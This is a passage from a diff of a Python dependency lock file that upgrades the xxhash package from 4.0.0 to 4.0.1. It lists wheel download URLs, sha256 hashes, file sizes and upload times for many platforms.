"2026-08-12T16:56:37.708Z" }, - { url = "https://files.pythonhosted.org/packages/bb/1a/d2855a8bb2f5a7ae10ffd55621a17bef3021646e8b1095494c678f6ace80/xxhash-4.0.0-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:4a1969258533437c96c8a46028820e9c99741ad7d03476abcb76566e2e324d89", size = 33186, upload-time = "2026-08-12T16:59:10.926Z" }, - { url = "https://files.pythonhosted.org/packages/75/fd/9b6cafb5bcaf99442b5ac0ed2898c830cea9d2f9d962f7f732a17677771e/xxhash-4.0.0-pp311-pypy311_pp73-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:8f3808b745a46aebdc844c603c6b9ab550451cbb499f706decd76f7d1a65ca4b", size = 47649, upload-time = "2026-08-12T16:57:00.637Z" }, - { url = "https://files.pythonhosted.org/packages/94/d0/0f527d9b2b5b62ae3fed9c28c870d06e3f68926fed465f0b53f2322e6985/xxhash-4.0.0-pp311-pypy311_pp73-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:627149915a90215c694e4ac0c75bad8ae00eee1937f39f45b4ff46c01130fdee", size = 42388, upload-time = "2026-08-12T16:59:50.026Z" }, - { url = "https://files.pythonhosted.org/packages/3f/9c/ec4801ca684181b0f8bcea447721bc007b740a9ae5c15128e3aed481e51b/xxhash-4.0.0-pp311-pypy311_pp73-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:65a6af70b5f5ed88f88791c5de70905c655cff0fee062604f67acfc843c2841e", size = 39184, upload-time = "2026-08-12T16:56:56.505Z" }, - { url = "https://files.pythonhosted.org/packages/8f/43/efbc17c2a467da34f207dcef369cc9364aa2a8172b4e056a0e875e934688/xxhash-4.0.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:36f59fa0d52d984a19c3026a951a183ebabfb2a847f9c5addc43e0191d44c3ab", size = 36911, upload-time = "2026-08-12T16:59:58.257Z" }, +version = "4.0.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f6/a5/1386f35da1475fcaeef42581deae73417c6d2a6a0b2d2e8914de18844dcd/xxhash-4.0.1.tar.gz", hash = "sha256:d55bf4ef10eb09b8b6866790e083d26d087d84caa3cc0946ba87c3ca7ecaf7b7", size = 101513, upload-time = "2026-08-17T08:24:08.557Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/19/de/6854b311cb468985de555e49717357ba1de8ffe4b08eda3f4c522a418fda/xxhash-4.0.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:3f68fe400ceec235f3e4a4b02a28c2fd2d283584a193223c921dd4c48f1d0754", size = 38470, upload-time = "2026-08-17T08:20:33.331Z" }, + { url = "https://files.pythonhosted.org/packages/91/2a/7d79952633fccbf9c2a59cc1dfe9d073f9edfceb052ba9bff5075e31408d/xxhash-4.0.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:9b1dddc257279417d93c9e59420d49ef90aece90d7a01996db3aade74b0281b1", size = 36229, upload-time = "2026-08-17T08:20:10.259Z" }, + { url = "https://files.pythonhosted.org/packages/70/6a/6a6f4220c39bae1636eb3f8ef217359b8afe268493ee858adf9002130257/xxhash-4.0.1-cp310-cp310-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:4972332c079d6aad69c4620a68d015a4ecb33141583f70d642cf9edf6a713763", size = 243168, upload-time = "2026-08-17T08:20:07.211Z" }, + { url = "https://files.pythonhosted.org/packages/c8/03/a1d745b324bede7af8a274d889d25b758402629695499a957375cc5fe994/xxhash-4.0.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f1b603d0686c99fa0879f104a74e7db58367634c6e50ba827bee9aa095e23205", size = 266061, upload-time = "2026-08-17T08:20:18.253Z" }, + { url = "https://files.pythonhosted.org/packages/0f/cd/55c7565db23d2d29a2e31ea9dd0001ad3f4729298f42ba32967dde7644ab/xxhash-4.0.1-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:33fd538191f47071deef6b1f676535e2aa770f1fd150ae4cc75a34c9e930be3d", size = 287357, upload-time = "2026-08-17T08:20:08.901Z" }, + { url = "https://files.pythonhosted.org/packages/72/31/c967c98cbf151df6ae8756fc9821b1f78d1feffa8420ff2ad5645f27f98f/xxhash-4.0.1-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:33e270d302c95ec426dfa0f5a4e16bff2ab8d7b8a46faa4746affb05e684ac77", size = 270683, upload-time = "2026-08-17T08:20:10.943Z" }, + { url = "https://files.pythonhosted.org/packages/70/98/df9f3c14bc2fb2712ed1497349dc7e8c0b0f20a1f353e2e146d83a1adef9/xxhash-4.0.1-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:3fb1d30d4b6d6e2c4a08e5ac6fffdb2b572d2cfcca15a5509cf4e7a1350f955c", size = 497802, upload-time = "2026-08-17T08:20:17.217Z" }, + { url = "https://files.pythonhosted.org/packages/5f/3b/e5d20b4f602d15fc5fc066f601052a7d6f5a401a50d67fac92098a5829a5/xxhash-4.0.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:7e27dbed5c4ba033919e4b4ed8dc14e029e91d14a93cd9f920d25277c7df6781", size = 249503, upload-time = "2026-08-17T08:20:40.14Z" }, + { url = "https://files.pythonhosted.org/packages/39/98/4cd03fa7ba791657aa555d0655e89a0d66193b1331e4391114b50227f80f/xxhash-4.0.1-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:43bcf2a871f28f16135545415cab3ec43904d4c80425a64598a9e6cebfb2b5ba", size = 333384, upload-time = "2026-08-17T08:20:18.93Z" }, + { url = "https://files.pythonhosted.org/packages/c1/67/a0a076dbcecad2af0cceb873ba4f95475f3955fb81d82f9c5e9f97a12854/xxhash-4.0.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:5dc434c946012e6d8a72b10f970ea30755b718251dd7591dbfdabafd3bcb21bc", size = 262463, upload-time = "2026-08-17T08:20:08.719Z" }, + { url = "https://files.pythonhosted.org/packages/48/94/767b68736250813923d74703ef628b0f57ff1c5bf690d7a6082928d1a14d/xxhash-4.0.1-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:0b1082fd0f089ce9098ed77aad8b777b5d156f8ac601c69cab73811822b8ef07", size = 289405, upload-time = "2026-08-17T08:20:35.493Z" }, + { url = "https://files.pythonhosted.org/packages/ab/61/69d9ec6e85f9933f26b39753b404f97ffd2fc3bfeeb5e26333752595e060/xxhash-4.0.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:dd649663ddeafbfd4734eb8abae921dd5baa1242f20bda54e8bc927369ccded4", size = 247989, upload-time = "2026-08-17T08:20:10.759Z" }, + { url = "https://files.pythonhosted.org/packages/a7/66/e6a033879893074bc441faec65587f9ef9cca49ee3cb99ef20c699b014cf/xxhash-4.0.1-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:97b455de3e8b1b0b1e4594cb61a468992563f03ca264062fbb0a66b393c01d90", size = 267987, upload-time = "2026-08-17T08:20:20.947Z" }, + { url = "https://files.pythonhosted.org/packages/18/91/a99a412b010cf2cc2bd38a0a44043c894ffa80b46c8d4e1522e40d2ef401/xxhash-4.0.1-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:2194bf96d5f3d4e0cb65deba370ec83dda3edfba42155f9384190ed5e51ea5e2", size = 322541, upload-time = "2026-08-17T08:20:22.675Z" }, + { url = "https://files.pythonhosted.org/packages/0b/12/1a91408e66d1716bd278cf55529d4ba251d90c6b694ea78a09dcbd9d36c6/xxhash-4.0.1-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:84df5f8da574caadbc0cb1b8866ecc2368cc941f0cd05f677756c802f370dafa", size = 466264, upload-time = "2026-08-17T08:21:12.422Z" }, + { url = "https://files.pythonhosted.org/packages/fc/c8/8abd4c1b90962f794ed9b139767b0a971e5168e8393961ccf046956c0039/xxhash-4.0.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:c09ada495567c9c9a8156c5ebcfb93be7fece0755062d738c972dcbecd0d84b5", size = 246149, upload-time = "2026-08-17T08:20:23.385Z" }, + { url = "https://files.pythonhosted.org/packages/22/3f/e020285d737a712bbfcf01dfdbbec7773c7c8289447a5373540caf2cdf5f/xxhash-4.0.1-cp310-cp310-win32.whl", hash = "sha256:85bdd40cb505a11e0ca04191711266c5fd696ed786ae83849955e457774edc96", size = 34630, upload-time = "2026-08-17T08:20:10.001Z" }, + { url = "https://files.pythonhosted.org/packages/6c/9b/4e8384b299b40664a225ce9deef54c42b3d59f5181a16d4a374ea3503f8f/xxhash-4.0.1-cp310-cp310-win_amd64.whl", hash = "sha256:8ec4777d92fd61a5c8fdeddab894fd65bea301a8092fb5419ec6472aa4d458d7", size = 37058, upload-time = "2026-08-17T08:21:05.846Z" }, + { url = "https://files.pythonhosted.org/packages/b3/e9/d73c870d9dd26f8d6782ecf716b31e836bb6269c888b6bb6e1fcf71eed36/xxhash-4.0.1-cp310-cp310-win_arm64.whl", hash = "sha256:03600a8987849b2bef7be795a60a6052b635c63fa98b718b08ca5ee823691cfc", size = 33289, upload-time = "2026-08-17T08:20:19.707Z" }, + { url = "https://files.pythonhosted.org/packages/0e/58/bc81e25cceab76ce4b400441e3a43312bf3887fedbb2e5f80cc5a7dd7f75/xxhash-4.0.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:8b4477edc03091f51f5309406d230851c23cf4822029e3bf40b8df53093fff1c", size = 38473, upload-time = "2026-08-17T08:20:34.303Z" }, + { url = "https://files.pythonhosted.org/packages/64/8d/d95e810c9a2930906f1fbd0e38f77554abb8e042a190aa9cbb24da39e9a2/xxhash-4.0.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:04f9a24de11a6647666d5302fd73d6a5224ce50ddc965fb0bb44cee736e6bd7c", size = 36228, upload-time = "2026-08-17T08:20:36.641Z" }, + { url = "https://files.pythonhosted.org/packages/72/be/ebcded2a32ba664a17a1737a91b6baa298bcda6942acdad81af81660b74c/xxhash-4.0.1-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:6a8c5ce76b94ba49f3be8a8f2611abc6564210702c72ac9e237ca2bebfd17794", size = 253292, upload-time = "2026-08-17T08:21:27.206Z" }, + { url = "https://files.pythonhosted.org/packages/52/2a/72d31d787d988d1130253bc34d249c553f02c9387e7dda789b6d5aa7963b/xxhash-4.0.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b4c8842fb19d78b5e8c2a52baf4c8357658cc56c62bc822b86ce0f942f28e286", size = 276545, upload-time = "2026-08-17T08:20:26.726Z" }, + { url = "https://files.pythonhosted.org/packages/39/ae/048f3b1f283a340bef3697fe5a9d4f10de1696a379af9af6b2352c24d82a/xxhash-4.0.1-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:a43418e1a90b4809a9caf64aeb8b0696e3e1f300a323acc1e6ee2f93ae319fcf", size = 296295, upload-time = "2026-08-17T08:20:15.759Z" }, + { url = "https://files.pythonhosted.org/packages/8e/43/e9a593c81445c8e8d669402edb8264144624e7e5e2406df7d33e3c164d90/xxhash-4.0.1-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:b3662719007e059abde7eddacf8517142ba076ddc7b30c807260e57d28c3c191", size = 279966, upload-time = "2026-08-17T08:21:22.217Z" }, + { url = "https://files.pythonhosted.org/packages/f9/4c/29da2b166955a300521c0abd498ad4481916c3743949b106192b781f58fc/xxhash-4.0.1-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:06d7fbd609503c3be5e65cdb6bb2f040d6a98574404e2e1d5c60815c97fff4aa", size = 509850, upload-time = "2026-08-17T08:20:32.731Z" }, + { url = "https://files.pythonhosted.org/packages/40/ff/e39e1900179ce7f0f23e7000d9fc672471a8d05b6b2dc657cb496c8975d0/xxhash-4.0.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:101aa300de6ceef3d9c77569706330d8921fc45dd82bceed2084f1e9f2557a24", size = 261005, upload-time = "2026-08-17T08:20:40.735Z" }, + { url = "https://files.pythonhosted.org/packages/89/79/76ee26720d13219458f4b2ec0b22f539fe2bcb1f83dc22a24be4cda4e285/xxhash-4.0.1-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e4296fcc790876a8b0f297edc83d3b088457b774d8f67b4636807f8a2ec69a79", size = 339620, upload-time = "2026-08-17T08:20:50.371Z" }, + { url = "https://files.pythonhosted.org/packages/2f/c7/56b53252d64ecb2f3a0d283b41033561b1bec9c268095150153b694c2e52/xxhash-4.0.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:57d7fa8f23908d173001c21a9e82bfc6ad997d1b6c270fb121812b7ed158891c", size = 272558, upload-time = "2026-08-17T08:21:33.883Z" }, + { url = "https://files.pythonhosted.org/packages/fc/76/83101a2f2ad3eb6b4b5d571e0aa394a576e3e23121707d507d80197ac385/xxhash-4.0.1-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:85e402dab0f9acd3604539747c6fcc57dc188a18af6ab07eb8189351cd32466c", size = 300417, upload-time = "2026-08-17T08:20:36.183Z" }, + { url = "https://files.pythonhosted.org/packages/34/5d/5be1166ec4fc4bc896e508dc51189a2dad200b373269a430e214fb152693/xxhash-4.0.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:fb59a0dd61fb2ad481c03fda399d78ce57dab6bb62c2c8fdb446a7ba4754b89a", size = 259286, upload-time = "2026-08-17T08:20:21.51Z" }, + { url = "https://files.pythonhosted.org/packages/77/6c/42f6201f13278787c58a6b3a1cd597b47e8665a7d4f68a3440d001c05a75/xxhash-4.0.1-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:0b20a06454b34f1531fc677c54efe2ecdec691ef9224f7fa919bf2c1363f7ff1", size = 278230, upload-time = "2026-08-17T08:21:47.62Z" }, + { url = "https://files.pythonhosted.org/packages/7f/37/3cb7f149a5a469c628604c33bec6d79764698b315700a4bbf1c6fb15622b/xxhash-4.0.1-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:f7db035447a0ac8959aa230c5d36545ecf9f547413eb1711c0ca6f0ba1418925", size = 329846, upload-time = "2026-08-17T08:35:10.922Z" }, + { url = "https://files.pythonhosted.org/packages/8c/ee/934eb1e11f4d0e95f3828825f8da4b6d59e338235d63edc3d929769262d2/xxhash-4.0.1-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:34ed93e20bfd98d722b902121643791eeb4b1641871e2dc63d0d4c2d93f187df", size = 477285, upload-time = "2026-08-17T08:20:46.297Z" }, + { url = "https://files.pythonhosted.org/packages/e2/0b/77835dcd7aec970db74f5724c94207ada83b3e2f5e1474ab44b9c8fe5ea5/xxhash-4.0.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:f6247f5e23ee94f2557ac9dab738a336f607c6ff476fcf66ca70c3aef5eee15a", size = 257552, upload-time = "2026-08-17T08:20:58.211Z" }, + { url = "https://files.pythonhosted.org/packages/da/6c/a3ce7a1a9c4ec9ad8babba591a996a71c474ff9630c5fb04c8c9d8b995ca/xxhash-4.0.1-cp311-cp311-win32.whl", hash = "sha256:348c8f288dc961d6bbd1985c8152a3ed7a85c95df00e82320f0c5215d922a399", size = 34630, upload-time = "2026-08-17T08:21:53.323Z" }, + { url = "https://files.pythonhosted.org/packages/d9/58/60d2170e8cda0891aab25dcaa74797b420c3c6cde8a5bc8372f17b30c0cf/xxhash-4.0.1-cp311-cp311-win_amd64.whl", hash = "sha256:ac0f291ab6485bd71f33941f9b92771318332a05d505460b41e893a549caadc0", size = 36992, upload-time = "2026-08-17T08:20:41.973Z" }, + { url = "https://files.pythonhosted.org/packages/ac/de/b229a39f9bbbe30cbcf9afaaa8993cb65286715c90a3b058c3769196ae02/xxhash-4.0.1-cp311-cp311-win_arm64.whl", hash = "sha256:72f34834518157a75e7090f328ee7a16c70c804cfc7c694fa069cc888e9fc03e", size = 33289, upload-time = "2026-08-17T08:20:32.176Z" }, + { url = "https://files.pythonhosted.org/packages/26/6c/dc7cffeadd06336cd934947187cd38abb263103bbc552ca0f55fe4ff595a/xxhash-4.0.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:1ee523f51718e41753f04f7102bb4dc55a18d2ea5cbaceef8ec7ca08571bd428", size = 38444, upload-time = "2026-08-17T08:21:54.332Z" }, + { url = "https://files.pythonhosted.org/packages/75/c9/cf736f6db8c3273af18925061572db0d4357818a9ce425f4b5fb0021918e/xxhash-4.0.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:515a822c73abbf6a0b7c70976d9662be342835c9d78b8dc7c023411f39c35dbc", size = 36195, upload-time = "2026-08-17T08:35:13.004Z" }, + { url = "https://files.pythonhosted.org/packages/da/a2/ca1929354b6851529d0148f7f335b5e2b0281f83bab3e19f0896dc579796/xxhash-4.0.1-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:f5d031f35962e5483a613214e61f09fe24ab523062c3646d592dc16c4a217451", size = 253113, upload-time = "2026-08-17T08:20:52.152Z" }, + { url = "https://files.pythonhosted.org/packages/de/bb/542005206af59518bc8d78a210f1e0172217bc53beb32f64a5b632e72b6b/xxhash-4.0.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:da0264844a09b538c894e5eff25313d941deb4dedec2131b98418a71a3c9944e", size = 276525, upload-time = "2026-08-17T08:21:01.886Z" }, + { url = "https://files.pythonhosted.org/packages/1b/df/607cff25dcb0f1d35c3b04493f6ad8471edb03fd4eacbdcc5ceddef1f3e9/xxhash-4.0.1-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:1642907941ee4b75aacc3db688af52ea02ca2305ab22af7ee686ed726b332684", size = 297703, upload-time = "2026-08-17T08:21:57.958Z" }, + { url = "https://files.pythonhosted.org/packages/15/ba/9d2275eea0b9d9c6b02921be23f7588356c60df95c763b25f0e045894d43/xxhash-4.0.1-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:4af350bc3f329970c0e3a59af84a8a30998bf8a9167eb50cd48e59baaa1d7bec", size = 280252, upload-time = "2026-08-17T08:20:47.299Z" }, + { url = "https://files.pythonhosted.org/packages/1d/aa/2299d9f6369e550aef2abb64945e39daa34412725aa46a20d99b74d76f67/xxhash-4.0.1-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:8ba782ca3bf1e81492611152b9a0d5264971339e95e34d69de0ac2c926be496d", size = 511041, upload-time = "2026-08-17T08:20:36.771Z" }, + { url = "https://files.pythonhosted.org/packages/83/97/31bd8b8279e6935a0719f6910ced15e9d5a2cd554b253f6027ce1b5a1c2c/xxhash-4.0.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:237b8f63a2a0fcfb1ffc06e21dad23add44e6d354b2b014364a1d41e419a4dee", size = 261812, upload-time = "2026-08-17T08:22:00.469Z" }, + { url = "https://files.pythonhosted.org/packages/2d/c1/d180a2da23c105d8e0b02d54f9f5841013fc81c233010ec781e31f1aee4c/xxhash-4.0.1-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:81507a68ba84c55241fb61cce1469f473a5da4205fc8ef6f698e5948eea8dd88", size = 339878, upload-time = "2026-08-17T08:35:17.626Z" }, + { url = "https://files.pythonhosted.org/packages/a8/3d/f584cd3172fe934f0f5a0a3917d0d7ce781f74d794fd43bb72be71c3ef6f/xxhash-4.0.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:5f1ea31d61bcd2cd2f3ec4ca80a64187bbd7948f490b63cf0dcbc6e717b4c1e9", size = 272871, upload-time = "2026-08-17T08:20:56.067Z" }, + { url = "https://files.pythonhosted.org/packages/34/50/2c7956b2b551682e00b9aebce9ceb0a991a131d65f9850c09f5f9760be2e/xxhash-4.0.1-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:06713a5aaf1d0905c5579416c020c02e42b3ceb931e86c7d3b7fb85403dee3f3", size = 301440, upload-time = "2026-08-17T08:21:35.911Z" }, + { url = "https://files.pythonhosted.org/packages/eb/a2/0739f6482184a8026f4b022718f5f815d352059312e80696825433f0a8e7/xxhash-4.0.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:e8cda075b10bb3917b002c74a04f9e02b7d13b5bf732571404d51c52b11c7329", size = 260157, upload-time = "2026-08-17T08:22:01.416Z" }, + { url = "https://files.pythonhosted.org/packages/a1/25/b31a7bcf1d7d116842812e54f9b944843b4236ea4fa85634e8259f342212/xxhash-4.0.1-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:c10b9206753b64aa791b35b201485477525b26fdec5bf86e8364c388a03e2592", size = 278233, upload-time = "2026-08-17T08:21:15.674Z" }, + { url = "https://files.pythonhosted.org/packages/db/e8/5293bae090fc6119dbc5fcf5c4cc0e1536394b52d73b7904d033836c73db/xxhash-4.0.1-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:f3e1a44af01b6692de0ec6caba5f0bf93ceb36896e02b7fc00952c6ea7ef39e1", size = 330270, upload-time = "2026-08-17T08:20:51.128Z" }, + { url = "https://files.pythonhosted.org/packages/72/9e/e2ab12d40921f3f34c9317637d65e011aeababf8288356ea8d527de2c1d0/xxhash-4.0.1-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:c6fc415b5568bd9accc7187f1729a99707330c0a67a8b9f93c1149ed573ed75d", size = 478555, upload-time = "2026-08-17T08:22:04.183Z" }, + { url = "https://files.pythonhosted.org/packages/6d/32/c6148d39a49efa95f39b4cf0d41ef35a487f3b30f6fb1fc8fe8d8eab577e/xxhash-4.0.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:96d8de55029d42251945531f6aa7590c32b48163c66a43bf29d8657d7446a377", size = 258174, upload-time = "2026-08-17T08:35:21.18Z" }, + { url = "https://files.pythonhosted.org/packages/8f/fb/0b04b68d6c5bc71c7a2c344f1287327b67e607f28fbcfd937697caca64b6/xxhash-4.0.1-cp312-cp312-pyemscripten_2024_0_wasm32.whl", hash = "sha256:0163b5d259de23ae9e07b7eabf435ce4704f6f205589a2b154e6af4be985ce1b", size = 20767, upload-time = "2026-08-17T08:21:00.806Z" }, + { url = "https://files.pythonhosted.org/packages/a6/be/476092aba34d1fcd313e1613a3bb3bc692f253d167b54bc90049043b5034/xxhash-4.0.1-cp312-cp312-win32.whl", hash = "sha256:1216f7ba5683f17a89eb7dcb4bc50a0b743dfe1902278d7b3d0786f538118433", size = 34669, upload-time = "2026-08-17T08:21:49.486Z" }, + { url = "https://files.pythonhosted.org/packages/aa/02/f9413d94fae43cec6d1a74c4f12156c6f4a7f5fd50e1d34defebdee3dec9/xxhash-4.0.1-cp312-cp312-win_amd64.whl", hash = "sha256:5c2d525a3afabcd8e3549d85fc7e111fde6bc302d06a1893fe73adb79823415e", size = 37073, upload-time = "2026-08-17T08:22:04.886Z" }, + { url = "https://files.pythonhosted.org/packages/c1/83/6fe93c1b95acf962bc61a246df09dc2dcce895ccfc1080c9f48d0b652b92/xxhash-4.0.1-cp312-cp312-win_arm64.whl", hash = "sha256:86b2b12bec60c678ed8f5cca0258ad93a8928ebddb6ca7732f0875afe1451d1a", size = 33299, upload-time = "2026-08-17T08:35:12.708Z" }, + { url = "https://files.pythonhosted.org/packages/f3/dd/c707286b527722f776e1fb81dd202c45623355ba1a2972337a2a26075b2b/xxhash-4.0.1-cp313-cp313-android_24_arm64_v8a.whl", hash = "sha256:8c9fe122444e129881afd1d4d1c7ac0d3ce2d91b68c2b40173b6025ff1c31f9a", size = 43639, upload-time = "2026-08-17T08:20:54.945Z" }, + { url = "https://files.pythonhosted.org/packages/1b/3b/bb71639a0f95635f61936a6f2653599c4261b645ddddd8d00f9dfe3613e2/xxhash-4.0.1-cp313-cp313-android_24_x86_64.whl", hash = "sha256:1f3346c5c287ac3c7f38b20380f55e8768230e7252af59fabcf3b87ab21e4256", size = 40657, upload-time = "2026-08-17T08:22:12.616Z" }, + { url = "https://files.pythonhosted.org/packages/3c/91/76f3f5385faa9886a36f21fcc603f40b4c0c40ce622382f133160c48b4d9/xxhash-4.0.1-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:4e5141543c7f7fe3087500bbb4ac2845cb528a980aa91f8f1e661e2292ff4a5d", size = 34708, upload-time = "2026-08-17T08:35:24.614Z" }, + { url = "https://files.pythonhosted.org/packages/9a/4a/f48f0e3e1b1ab072979fff2a5be899234e28090883e8b519d0b10215d708/xxhash-4.0.1-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:f09ee747e2a5f876cc5ad56947734811828335e13b403dd8ea1e06d77a9dd48d", size = 35650, upload-time = "2026-08-17T08:21:09.337Z" }, + { url = "https://files.pythonhosted.org/packages/c4/53/b73d7472b196101ad1f57ed0674af3af803ac3e9ec2feadd650a7b262562/xxhash-4.0.1-cp313-cp313-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:acf52474b2494ef66dc7e0fb6d5e2b50c18313039ad4d275fbf9f9907c804bc5", size = 37958, upload-time = "2026-08-17T08:22:10.616Z" }, + { url = "https://files.pythonhosted.org/packages/d0/f2/024946ad8fa532074af4e4380179da54b7ec9facc8bd0b279ec0fac4e63a/xxhash-4.0.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:1b3cccf75eeb5b01639b2feadb042a8e07889293b7ca72fa2985e7dcb64763cf", size = 38032, upload-time = "2026-08-17T08:22:09.535Z" }, + { url = "https://files.pythonhosted.org/packages/da/e0/934af8d99bb5885711006bec30a691f728edd513d2c40f053f887d8e7577/xxhash-4.0.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:cd878d32f5c6cbce9783f8d6897561fb772211edba9dde49d85672b88ed45276", size = 35895, upload-time = "2026-08-17T08:35:16.53Z" }, + { url = "https://files.pythonhosted.org/packages/20/5f/a8011f6a1558f7ca66d9077bb4f192b1871afcea62fbd5733605d2015755/xxhash-4.0.1-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:41e579025a6e13a99e6d71e39c9cfc621a0dcdbbf19106325e145fa858f2d794", size = 259464, upload-time = "2026-08-17T08:21:06.72Z" }, + { url = "https://files.pythonhosted.org/packages/ff/89/9665a44397547e7a3d58c0942425a976d58dcfd4b538f33220a312bf6912/xxhash-4.0.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:74379a577a9f3b6afbdedf1b90e5c7764467051977f18a326d7d607336d743bd", size = 283949, upload-time = "2026-08-17T08:22:17.003Z" }, + { url = "https://files.pythonhosted.org/packages/34/2d/78774141266457468f29f3f5803092df4db87d8148ba74e4debd041649db/xxhash-4.0.1-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:acb31ecdd1a97fab5cd39a84ee9f515e727d319f796fec48703b8339b9998360", size = 303898, upload-time = "2026-08-17T08:35:27.951Z" }, + { url = "https://files.pythonhosted.org/packages/59/48/d78d22de576b42528bff87c14207de50de4f0b888221a50ff7c9d675d670/xxhash-4.0.1-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:5b7875ac1a2edcb691f27642b8b94b904baa6bcecb7d79c72df2228ba8cb5c51", size = 287241, upload-time = "2026-08-17T08:21:13.042Z" }, + { url = "https://files.pythonhosted.org/packages/4c/de/7a1755a59c59fd46176f293bbdd99e399a6537ba9537fc723aa4d1bf6e27/xxhash-4.0.1-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:4751f1d7eecae6b2d2a773630f1a7248f125c9a92a456694d03c15bceffc9d68", size = 519856, upload-time = "2026-08-17T08:22:15.35Z" }, + { url = "https://files.pythonhosted.org/packages/6f/fb/76580c08e916507859b0f335393cb5fdc59452c4402edbc6bcca6e47e7df/xxhash-4.0.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9a51b061d54cda8b83e62c44458bfbf0dabbef9b975dd9649952ba5076b9f349", size = 268572, upload-time = "2026-08-17T08:22:14.533Z" }, + { url = "https://files.pythonhosted.org/packages/d0/2b/1abde3e07b8f2077a38b4fbfaf764115008bfe0ff03bc7756a52c9fd0607/xxhash-4.0.1-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:74a164e8b63f1e9cf35c9a7809d082b033d1a00e7375d5d814415436e7867e57", size = 